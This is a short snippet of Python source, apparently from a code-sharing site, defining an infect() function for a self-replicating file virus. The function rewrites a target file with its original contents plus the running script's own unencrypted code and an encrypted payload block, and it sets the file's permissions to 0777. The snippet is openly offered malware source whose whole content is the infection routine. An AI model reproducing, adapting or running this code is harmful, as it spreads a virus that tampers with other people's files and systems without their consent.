encrypted.py 文件源码

def infect(filename):
   os.rename(filename, filename + '-copy')

   destination = open(filename, 'w')
   os.chmod(filename, 0777)
   source = open(filename + '-copy', 'r')
   this = open(__main__.__file__, 'r')

   # Append the original file
   for line in source:
      destination.write(line)

   destination.write("\n######################################################## First script python\n")
   destination.write("# coding=utf-8\n")
   destination.write("# Start Unencrypted\n")

   copy = False
   result = ''
   for line in this:
      if line.strip() == '# Start Unencrypted':
         copy = True
      elif line.strip() == '# End Unencrypted':
         destination.write('# End Unencrypted')
         copy = False
      elif copy:
         destination.write(line);

   destination.write("\n# Start payload\n")
   destination.write("#")
   destination.write(str(encrypt(e, filename)))
   destination.write("\n# End payload")

   os.remove(filename + '-copy')
   source.close()
   destination.close()
   this.close()